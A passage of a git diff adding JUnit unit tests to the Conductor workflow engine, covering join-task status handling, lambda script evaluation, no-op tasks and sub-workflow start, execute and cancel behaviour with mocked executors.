taskModel.getInputData().putAll(input); + return taskModel; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestJoin.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestJoin.java new file mode 100644 index 0000000..b6315d7 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestJoin.java @@ -0,0 +1,225 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.List; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.tuple.Pair; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; + +public class TestJoin { + + private final ConductorProperties properties = new ConductorProperties(); + + private final WorkflowExecutor executor = mock(WorkflowExecutor.class); + + private TaskModel createTask( + String referenceName, + TaskModel.Status status, + boolean isOptional, + boolean isPermissive) { + TaskModel task = new TaskModel(); + task.setStatus(status); + task.setReferenceTaskName(referenceName); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setOptional(isOptional); + workflowTask.setPermissive(isPermissive); + task.setWorkflowTask(workflowTask); + return task; + } + + private Pair createJoinWorkflow( + List tasks, String... extraTaskRefNames) { + WorkflowModel workflow = new WorkflowModel(); + var join = new TaskModel(); + join.setReferenceTaskName("join"); + var taskRefNames = + tasks.stream().map(TaskModel::getReferenceTaskName).collect(Collectors.toList()); + taskRefNames.addAll(List.of(extraTaskRefNames)); + join.getInputData().put("joinOn", taskRefNames); + workflow.getTasks().addAll(tasks); + workflow.getTasks().add(join); + return Pair.of(workflow, join); + } + + @Test + public void testShouldNotMarkJoinAsCompletedWithErrorsWhenNotDone() { + var task1 = createTask("task1", TaskModel.Status.COMPLETED_WITH_ERRORS, true, false); + + // task2 is not scheduled yet, so the join is not completed + var wfJoinPair = createJoinWorkflow(List.of(task1), "task2"); + + var join = new Join(properties); + var result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertFalse(result); + } + + @Test + public void testJoinCompletesSuccessfullyWhenAllTasksSucceed() { + var task1 = createTask("task1", TaskModel.Status.COMPLETED, false, false); + var task2 = createTask("task2", TaskModel.Status.COMPLETED, false, false); + + var wfJoinPair = createJoinWorkflow(List.of(task1, task2)); + + var join = new Join(properties); + var result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertTrue("Join task should execute successfully when all tasks succeed", result); + assertEquals( + "Join task status should be COMPLETED when all tasks succeed", + TaskModel.Status.COMPLETED, + wfJoinPair.getRight().getStatus()); + } + + @Test + public void testJoinWaitsWhenAnyTaskIsNotTerminal() { + var task1 = createTask("task1", TaskModel.Status.IN_PROGRESS, false, false); + var task2 = createTask("task2", TaskModel.Status.COMPLETED, false, false); + + var wfJoinPair = createJoinWorkflow(List.of(task1, task2)); + + var join = new Join(properties); + var result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertFalse("Join task should wait when any task is not in terminal state", result); + } + + @Test + public void testJoinFailsWhenMandatoryTaskFails() { + // Mandatory task fails + var task1 = createTask("task1", TaskModel.Status.FAILED, false, false); + // Optional task completes with errors + var task2 = createTask("task2", TaskModel.Status.COMPLETED_WITH_ERRORS, true, false); + + var wfJoinPair = createJoinWorkflow(List.of(task1, task2)); + + var join = new Join(properties); + var result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertTrue("Join task should be executed when a mandatory task fails", result); + assertEquals( + "Join task status should be FAILED when a mandatory task fails", + TaskModel.Status.FAILED, + wfJoinPair.getRight().getStatus()); + } + + @Test + public void testJoinCompletesWithErrorsWhenOnlyOptionalTasksFail() { + // Mandatory task succeeds + var task1 = createTask("task1", TaskModel.Status.COMPLETED, false, false); + // Optional task completes with errors + var task2 = createTask("task2", TaskModel.Status.COMPLETED_WITH_ERRORS, true, false); + + var wfJoinPair = createJoinWorkflow(List.of(task1, task2)); + + var join = new Join(properties); + var result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertTrue("Join task should be executed when only optional tasks fail", result); + assertEquals( + "Join task status should be COMPLETED_WITH_ERRORS when only optional tasks fail", + TaskModel.Status.COMPLETED_WITH_ERRORS, + wfJoinPair.getRight().getStatus()); + } + + @Test + public void testJoinAggregatesFailureReasonsCorrectly() { + var task1 = createTask("task1", TaskModel.Status.FAILED, false, false); + task1.setReasonForIncompletion("Task1 failed"); + var task2 = createTask("task2", TaskModel.Status.FAILED, false, false); + task2.setReasonForIncompletion("Task2 failed"); + + var wfJoinPair = createJoinWorkflow(List.of(task1, task2)); + + var join = new Join(properties); + var result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertTrue("Join task should be executed when tasks fail", result); + assertEquals( + "Join task status should be FAILED when tasks fail", + TaskModel.Status.FAILED, + wfJoinPair.getRight().getStatus()); + assertTrue( + "Join task reason for incompletion should aggregate failure reasons", + wfJoinPair.getRight().getReasonForIncompletion().contains("Task1 failed") + && wfJoinPair + .getRight() + .getReasonForIncompletion() + .contains("Task2 failed")); + } + + @Test + public void testJoinWaitsForAllTasksBeforeFailingDueToPermissiveTaskFailure() { + // Task 1 is a permissive task that fails. + var task1 = createTask("task1", TaskModel.Status.FAILED, false, true); + // Task 2 is a non-permissive task that eventually succeeds. + var task2 = + createTask( + "task2", + TaskModel.Status.IN_PROGRESS, + false, + false); // Initially not in a terminal state. + + var wfJoinPair = createJoinWorkflow(List.of(task1, task2)); + + // First execution: Task 2 is not yet terminal. + var join = new Join(properties); + boolean result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertFalse("Join task should wait as not all tasks are terminal", result); + + // Simulate Task 2 reaching a terminal state. + task2.setStatus(TaskModel.Status.COMPLETED); + + // Second execution: Now all tasks are terminal. + result = join.execute(wfJoinPair.getLeft(), wfJoinPair.getRight(), executor); + assertTrue("Join task should proceed as now all tasks are terminal", result); + assertEquals( + "Join task should be marked as FAILED due to permissive task failure", + TaskModel.Status.FAILED, + wfJoinPair.getRight().getStatus()); + } + + @Test + public void testEvaluationOffsetWhenPollCountIsBelowThreshold() { + var join = new Join(properties); + var taskModel = createTask("join1", TaskModel.Status.COMPLETED, false, false); + taskModel.setPollCount(properties.getSystemTaskPostponeThreshold() - 1); + var opt = join.getEvaluationOffset(taskModel, 30L); + assertEquals(0L, (long) opt.orElseThrow()); + } + + @Test + public void testEvaluationOffsetWhenPollCountIsAboveThreshold() { + final var maxOffset = 30L; + var join = new Join(properties); + var taskModel = createTask("join1", TaskModel.Status.COMPLETED, false, false); + + taskModel.setPollCount(properties.getSystemTaskPostponeThreshold() + 1); + var opt = join.getEvaluationOffset(taskModel, maxOffset); + assertEquals(1L, (long) opt.orElseThrow()); + + taskModel.setPollCount(properties.getSystemTaskPostponeThreshold() + 10); + opt = join.getEvaluationOffset(taskModel, maxOffset); + long expected = (long) Math.pow(Join.EVALUATION_OFFSET_BASE, 10); + assertEquals(expected, (long) opt.orElseThrow()); + + taskModel.setPollCount(properties.getSystemTaskPostponeThreshold() + 40); + opt = join.getEvaluationOffset(taskModel, maxOffset); + assertEquals(maxOffset, (long) opt.orElseThrow()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestLambda.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestLambda.java new file mode 100644 index 0000000..0d9b030 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestLambda.java @@ -0,0 +1,64 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; + +/** + * @author x-ultra + */ +public class TestLambda { + + private final WorkflowModel workflow = new WorkflowModel(); + private final WorkflowExecutor executor = mock(WorkflowExecutor.class); + + @SuppressWarnings({"rawtypes", "unchecked"}) + @Test + public void start() { + Lambda lambda = new Lambda(); + + Map inputObj = new HashMap(); + inputObj.put("a", 1); + + // test for scriptExpression == null + TaskModel task = new TaskModel(); + task.getInputData().put("input", inputObj); + lambda.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + + // test for normal + task = new TaskModel(); + task.getInputData().put("input", inputObj); + task.getInputData().put("scriptExpression", "if ($.input.a==1){return 1}else{return 0 } "); + lambda.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(task.getOutputData().toString(), "{result=1}"); + + // test for scriptExpression ScriptException + task = new TaskModel(); + task.getInputData().put("input", inputObj); + task.getInputData().put("scriptExpression", "if ($.a.size==1){return 1}else{return 0 } "); + lambda.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestNoop.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestNoop.java new file mode 100644 index 0000000..d6f34dd --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestNoop.java @@ -0,0 +1,36 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import org.junit.Test; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +public class TestNoop { + + private final WorkflowExecutor executor = mock(WorkflowExecutor.class); + + @Test + public void should_do_nothing() { + WorkflowModel workflow = new WorkflowModel(); + Noop noopTask = new Noop(); + TaskModel task = new TaskModel(); + noopTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSubWorkflow.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSubWorkflow.java new file mode 100644 index 0000000..541a3aa --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSubWorkflow.java @@ -0,0 +1,555 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class TestSubWorkflow { + + private static final String PARENT_WORKFLOW_ID = "parent-workflow"; + private static final String PARENT_TASK_ID = "task_1"; + private static final String CHILD_SUB_WORKFLOW_ID = "child-sub-workflow"; + + private WorkflowExecutor workflowExecutor; + private IDGenerator idGenerator; + private SubWorkflow subWorkflow; + + @Autowired private ObjectMapper objectMapper; + + @Before + public void setup() { + workflowExecutor = mock(WorkflowExecutor.class); + idGenerator = mock(IDGenerator.class); + subWorkflow = new SubWorkflow(objectMapper, idGenerator); + } + + @Test + public void testStartSubWorkflow() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map inputData = inputData("UnitWorkFlow", 3); + task.setInputData(inputData); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 3, inputData, null, null); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + assertFalse(task.getOutputData().containsKey("subWorkflowLaunchError")); + } + + @Test + public void testStartSubWorkflowWithNullVersionUsesLatest() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map inputData = inputData("UnitWorkFlow", null); + task.setInputData(inputData); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", null, inputData, null, null); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + verify(workflowExecutor).startWorkflowIdempotent(startWorkflowInput); + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + } + + @Test + public void testStartSubWorkflowQueueFailure() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map inputData = inputData("UnitWorkFlow", 3); + task.setInputData(inputData); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 3, inputData, null, null); + + when(idGenerator.generateSubWorkflowId( + PARENT_WORKFLOW_ID, PARENT_TASK_ID, task.getRetryCount())) + .thenReturn(CHILD_SUB_WORKFLOW_ID); + when(workflowExecutor.startWorkflowIdempotent(startWorkflowInput)) + .thenThrow(new TransientException("QueueDAO failure")); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertNull(task.getSubWorkflowId()); + assertEquals(TaskModel.Status.SCHEDULED, task.getStatus()); + assertEquals( + "Transient error starting sub workflow UnitWorkFlow: QueueDAO failure", + task.getReasonForIncompletion()); + assertEquals("QueueDAO failure", task.getOutputData().get("subWorkflowLaunchError")); + } + + @Test + public void testStartSubWorkflowStartError() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map inputData = inputData("UnitWorkFlow", 3); + task.setInputData(inputData); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 3, inputData, null, null); + + when(idGenerator.generateSubWorkflowId( + PARENT_WORKFLOW_ID, PARENT_TASK_ID, task.getRetryCount())) + .thenReturn(CHILD_SUB_WORKFLOW_ID); + when(workflowExecutor.startWorkflowIdempotent(startWorkflowInput)) + .thenThrow(new NonTransientException("non transient failure")); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertNull(task.getSubWorkflowId()); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertEquals("non transient failure", task.getReasonForIncompletion()); + assertTrue(task.getOutputData().isEmpty()); + } + + @Test + public void testStartSubWorkflowWithEmptyWorkflowInputUsesTaskInput() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map inputData = inputData("UnitWorkFlow", 3); + inputData.put("workflowInput", new HashMap<>()); + task.setInputData(inputData); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 3, inputData, null, null); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + } + + @Test + public void testStartSubWorkflowWithWorkflowInput() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map inputData = inputData("UnitWorkFlow", 3); + Map workflowInput = new HashMap<>(); + workflowInput.put("test", "value"); + inputData.put("workflowInput", workflowInput); + task.setInputData(inputData); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 3, workflowInput, null, null); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + } + + @Test + public void testStartSubWorkflowTaskToDomain() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "unittest"); + + Map inputData = inputData("UnitWorkFlow", 2); + inputData.put("subWorkflowTaskToDomain", taskToDomain); + task.setInputData(inputData); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 2, inputData, taskToDomain, null); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + } + + @Test + public void testExecuteSubWorkflowWithoutId() { + WorkflowModel workflowInstance = newParentWorkflow(); + + TaskModel task = newTask(); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setOutputData(new HashMap<>()); + task.setInputData(inputData("UnitWorkFlow", 2)); + + assertFalse(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + } + + @Test + public void testExecuteWorkflowStatus() { + WorkflowModel workflowInstance = newParentWorkflow(); + WorkflowModel subWorkflowInstance = new WorkflowModel(); + TaskModel task = newTask(); + task.setStatus(null); + task.setSubWorkflowId("sub-workflow-id"); + task.setOutputData(new HashMap<>()); + task.setInputData(inputData("UnitWorkFlow", 2)); + + when(workflowExecutor.getWorkflow("sub-workflow-id", false)) + .thenReturn(subWorkflowInstance); + + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + assertFalse(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + assertNull(task.getStatus()); + assertNull(task.getReasonForIncompletion()); + + subWorkflowInstance.setStatus(WorkflowModel.Status.PAUSED); + assertFalse(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + assertNull(task.getStatus()); + assertNull(task.getReasonForIncompletion()); + + subWorkflowInstance.setStatus(WorkflowModel.Status.COMPLETED); + assertTrue(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + + subWorkflowInstance.setStatus(WorkflowModel.Status.FAILED); + subWorkflowInstance.setReasonForIncompletion("unit1"); + assertTrue(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains("unit1")); + + subWorkflowInstance.setStatus(WorkflowModel.Status.TIMED_OUT); + subWorkflowInstance.setReasonForIncompletion("unit2"); + assertTrue(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + assertEquals(TaskModel.Status.TIMED_OUT, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains("unit2")); + + subWorkflowInstance.setStatus(WorkflowModel.Status.TERMINATED); + subWorkflowInstance.setReasonForIncompletion("unit3"); + assertTrue(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + assertEquals(TaskModel.Status.CANCELED, task.getStatus()); + assertTrue(task.getReasonForIncompletion().contains("unit3")); + } + + @Test + public void testCancelWithWorkflowId() { + WorkflowModel workflowInstance = newParentWorkflow(); + WorkflowModel subWorkflowInstance = new WorkflowModel(); + TaskModel task = newTask(); + task.setSubWorkflowId("sub-workflow-id"); + task.setInputData(inputData("UnitWorkFlow", 2)); + + when(workflowExecutor.getWorkflow("sub-workflow-id", true)).thenReturn(subWorkflowInstance); + + workflowInstance.setStatus(WorkflowModel.Status.TIMED_OUT); + subWorkflow.cancel(workflowInstance, task, workflowExecutor); + + assertEquals(WorkflowModel.Status.TERMINATED, subWorkflowInstance.getStatus()); + } + + @Test + public void testCancelWithoutWorkflowId() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + task.setInputData(inputData("UnitWorkFlow", 2)); + + when(idGenerator.generateSubWorkflowId( + PARENT_WORKFLOW_ID, PARENT_TASK_ID, task.getRetryCount())) + .thenReturn(CHILD_SUB_WORKFLOW_ID); + when(workflowExecutor.getWorkflow(CHILD_SUB_WORKFLOW_ID, true)) + .thenThrow(new NotFoundException("missing")); + + subWorkflow.cancel(workflowInstance, task, workflowExecutor); + + verify(workflowExecutor).getWorkflow(CHILD_SUB_WORKFLOW_ID, true); + } + + @Test + public void testCancelWithoutWorkflowIdTerminatesDeterministicChildIfCreated() { + WorkflowModel workflowInstance = newParentWorkflow(); + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + TaskModel task = newTask(); + task.setInputData(inputData("UnitWorkFlow", 2)); + + when(idGenerator.generateSubWorkflowId( + PARENT_WORKFLOW_ID, PARENT_TASK_ID, task.getRetryCount())) + .thenReturn(CHILD_SUB_WORKFLOW_ID); + when(workflowExecutor.getWorkflow(CHILD_SUB_WORKFLOW_ID, true)) + .thenReturn(subWorkflowInstance); + + subWorkflow.cancel(workflowInstance, task, workflowExecutor); + + assertEquals(WorkflowModel.Status.TERMINATED, subWorkflowInstance.getStatus()); + } + + @Test + public void testStartThrowsWhenSubWorkflowNameNullAndNoDefinitionSupplied() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + task.setInputData(new HashMap<>()); + + try { + subWorkflow.start(workflowInstance, task, workflowExecutor); + fail("Expected NonTransientException"); + } catch (NonTransientException e) { + assertTrue(e.getMessage().contains("null")); + } + } + + @Test + public void testStartIsIdempotentWhenTaskAlreadyStarted() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + task.setSubWorkflowId("already-started-id"); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setInputData(inputData("UnitWorkFlow", 1)); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + verify(workflowExecutor, never()).startWorkflowIdempotent(any()); + assertEquals("already-started-id", task.getSubWorkflowId()); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + } + + @Test + public void testStartCreatesNewSubWorkflowOnRetryEvenWhenOutputDataHasOldSubWorkflowId() { + WorkflowModel workflowInstance = newParentWorkflow(); + Map outputData = new HashMap<>(); + outputData.put("subWorkflowId", "old-sub-workflow-id"); + + TaskModel task = newTask(); + task.setOutputData(outputData); + task.setInputData(inputData("UnitWorkFlow", 1)); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, task, "UnitWorkFlow", 1, task.getInputData(), null, null); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + } + + @Test + public void testCancelIsNoOpWhenSubWorkflowNotFoundInStore() { + WorkflowModel workflowInstance = newParentWorkflow(); + workflowInstance.setStatus(WorkflowModel.Status.TERMINATED); + + TaskModel task = newTask(); + task.setSubWorkflowId("deleted-sub-workflow-id"); + + when(workflowExecutor.getWorkflow("deleted-sub-workflow-id", true)).thenReturn(null); + + subWorkflow.cancel(workflowInstance, task, workflowExecutor); + } + + @Test + public void testExecuteReturnsFalseWhenSubWorkflowNotFoundInStore() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + task.setSubWorkflowId("deleted-sub-workflow-id"); + + when(workflowExecutor.getWorkflow("deleted-sub-workflow-id", false)).thenReturn(null); + + assertFalse(subWorkflow.execute(workflowInstance, task, workflowExecutor)); + } + + @Test + public void testIsAsync() { + assertTrue(subWorkflow.isAsync()); + } + + @Test + public void testStartSubWorkflowWithSubWorkflowDefinition() { + WorkflowModel workflowInstance = newParentWorkflow(); + TaskModel task = newTask(); + + WorkflowDef subWorkflowDef = new WorkflowDef(); + subWorkflowDef.setName("subWorkflow_1"); + + Map inputData = inputData("UnitWorkFlow", 2); + inputData.put("subWorkflowDefinition", subWorkflowDef); + task.setInputData(inputData); + + WorkflowModel subWorkflowInstance = new WorkflowModel(); + subWorkflowInstance.setWorkflowId(CHILD_SUB_WORKFLOW_ID); + subWorkflowInstance.setStatus(WorkflowModel.Status.RUNNING); + + StartWorkflowInput startWorkflowInput = + expectedStartWorkflowInput( + workflowInstance, + task, + "subWorkflow_1", + 2, + inputData, + null, + subWorkflowDef); + mockSubWorkflowLaunch(task, startWorkflowInput, subWorkflowInstance); + + subWorkflow.start(workflowInstance, task, workflowExecutor); + + assertEquals(CHILD_SUB_WORKFLOW_ID, task.getSubWorkflowId()); + } + + private WorkflowModel newParentWorkflow() { + WorkflowModel workflowInstance = new WorkflowModel(); + workflowInstance.setWorkflowId(PARENT_WORKFLOW_ID); + workflowInstance.setWorkflowDefinition(new WorkflowDef()); + return workflowInstance; + } + + private TaskModel newTask() { + TaskModel task = new TaskModel(); + task.setTaskId(PARENT_TASK_ID); + task.setWorkflowInstanceId(PARENT_WORKFLOW_ID); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setOutputData(new HashMap<>()); + return task; + } + + private Map inputData(String subWorkflowName, Integer subWorkflowVersion) { + Map inputData = new HashMap<>(); + inputData.put("subWorkflowName", subWorkflowName); + inputData.put("subWorkflowVersion", subWorkflowVersion); + return inputData; + } + + private void mockSubWorkflowLaunch( + TaskModel task, + StartWorkflowInput startWorkflowInput, + WorkflowModel subWorkflowInstance) { + when(idGenerator.generateSubWorkflowId( + PARENT_WORKFLOW_ID, PARENT_TASK_ID, task.getRetryCount())) + .thenReturn(CHILD_SUB_WORKFLOW_ID); + when(workflowExecutor.startWorkflowIdempotent(startWorkflowInput)) + .thenReturn(subWorkflowInstance); + } + + private StartWorkflowInput expectedStartWorkflowInput( + WorkflowModel workflowInstance, + TaskModel task, + String subWorkflowName, + Integer subWorkflowVersion, + Map workflowInput, + Map taskToDomain, + WorkflowDef workflowDef) { + return expectedStartWorkflowInput( + workflowInstance, + task, + subWorkflowName, + subWorkflowVersion, + workflowInput, + taskToDomain, + workflowDef, + CHILD_SUB_WORKFLOW_ID); + } + + private StartWorkflowInput expectedStartWorkflowInput( + WorkflowModel workflowInstance, + TaskModel task, + String subWorkflowName, + Integer subWorkflowVersion, + Map workflowInput, + Map taskToDomain, + WorkflowDef workflowDef, + String workflowId) { + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setWorkflowDefinition(workflowDef); + 